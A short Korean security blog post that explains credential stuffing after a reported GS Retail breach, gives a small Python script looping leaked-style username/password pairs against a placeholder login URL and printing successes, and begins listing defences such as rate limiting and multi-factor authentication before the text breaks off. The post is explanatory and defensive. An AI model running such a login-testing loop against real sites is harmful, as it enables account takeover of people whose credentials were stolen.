DevSecOps/์‹œํ๋ฆฌํ‹ฐ(Security)

Credential Stuffing ์ด๋ž€

์‹œํ๋ฆฌํ‹ฐ์ง€ํ˜ธ 2025. 1. 8. 11:20

์ตœ๊ทผ์— GS๋ฆฌํ…Œ์ผ์—์„œ ๋ฐœ์ƒํ•œ ํ•ดํ‚น ์ด์Šˆ

 

'Credential Stuffing'

 

https://news.einfomax.co.kr/news/articleView.html?idxno=4338786

 

GS๋ฆฌํ…Œ์ผ, ์›น์‚ฌ์ดํŠธ ํ•ดํ‚น ๊ณต๊ฒฉ์— 9๋งŒ๋ช… ๊ณ ๊ฐ ์ •๋ณด ์ผ๋ถ€ ์œ ์ถœ - ์—ฐํ•ฉ์ธํฌ๋งฅ์Šค

GS๋ฆฌํ…Œ์ผ์€ ์ง€๋‚œ 27์ผ๋ถ€ํ„ฐ 4์ผ๊นŒ์ง€ ์ด๋ฃจ์–ด์ง„ ์›น์‚ฌ์ดํŠธ ํ•ดํ‚น ๊ณต๊ฒฉ์œผ๋กœ 9๋งŒ์—ฌ๋ช…์˜ ๊ฐœ์ธ์ •๋ณด ์ผ๋ถ€๊ฐ€ ์œ ์ถœ๋๋‹ค๊ณ  6์ผ ๋ฐํ˜”๋‹ค.์œ ์ถœ๋œ ๊ฒƒ์œผ๋กœ ์ถ”์ •๋˜๋Š” ์ •๋ณด๋Š” ์ด๋ฆ„, ์„ฑ๋ณ„, ์ƒ๋…„์›”์ผ, ์—ฐ๋ฝ์ฒ˜, ์ฃผ์†Œ, ์•„

news.einfomax.co.kr

 

์ด๊ฑธ๋กœ ์ธํ•ด 9๋งŒ๋ช…์ด๋‚˜ ๋˜๋Š” ๊ณ ๊ฐ ์ •๋ณด๊ฐ€ ์œ ์ถœ์ด ๋˜๋Š” ์‚ฌ๊ณ ๊ฐ€ ๋ฐœ์ƒํ–ˆ๋‹ค.

 

 

Credential Stuffing ์ด ๋ฌด์—‡์ผ๊นŒ?

๊ณต๊ฒฉ์›๋ฆฌ :

์ž๋™ํ™”๋œ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค์–‘ํ•œ ์›น์‚ฌ์ดํŠธ ๋ฐ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•ด ๋„๋‚œ๋‹นํ•œ ๋กœ๊ทธ์ธ ์ž๊ฒฉ ์ฆ๋ช…(์‚ฌ์šฉ์ž ์ด๋ฆ„ ๋ฐ ๋น„๋ฐ€๋ฒˆํ˜ธ ์Œ)์„ ๋Œ€๋Ÿ‰์œผ๋กœ ํ…Œ์ŠคํŠธํ•˜๋Š” ์ผ์ข…์˜ ์‚ฌ์ด๋ฒ„ ๊ณต๊ฒฉ์ด๋‹ค. 

 

๋ชฉํ‘œ:

์‹ ์› ๋„์šฉ, ๊ธˆ์œต ์‚ฌ๊ธฐ, ์ŠคํŒธ ๋ฐœ์†ก ๋“ฑ์˜ ์‚ฌ๊ธฐ ํ–‰์œ„์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋‹ค.

 

์˜ˆ์‹œ:

import requests

# Example credential list (testing purposes only)
credentials = [
    {"username": "test1@example.com", "password": "password123"},
    {"username": "test2@example.com", "password": "letmein123"},
    {"username": "admin@example.com", "password": "admin123"},
]

# Target URL (replace with your testing server)
target_url = "http://example.com/login"

# Loop through credentials and attempt login
for credential in credentials:
    response = requests.post(
        target_url,
        data={
            "username": credential["username"],
            "password": credential["password"]
        }
    )
    
    # Log the result
    if response.status_code == 200 and "Welcome" in response.text:
        print(f"Success: {credential['username']} / {credential['password']}")
    else:
        print(f"Failed: {credential['username']} / {credential['password']}")

 

 

 

๋Œ€์‘ ๋ฐฉ์•ˆ:

 

๊ธฐ๋ณธ์ ์œผ๋กœ

1. ์›น์‚ฌ์ดํŠธ ์†๋„ ์ œํ•œ

2. ๋‹ค๋‹จ๊ณ„ ์ธ์ฆ

3. ์˜์‹ฌ์Šค๋กœ์šด ๋กœ๊ทธ์ธ ํ™œ๋™ ๋ชจ๋‹ˆํ„ฐ๋ง

 

๊ณ ๋„ํ™”๋กœ

1. ๊ณ ๋„ํ™”๋œ ์†”๋ฃจ์…˜ ๋„์ž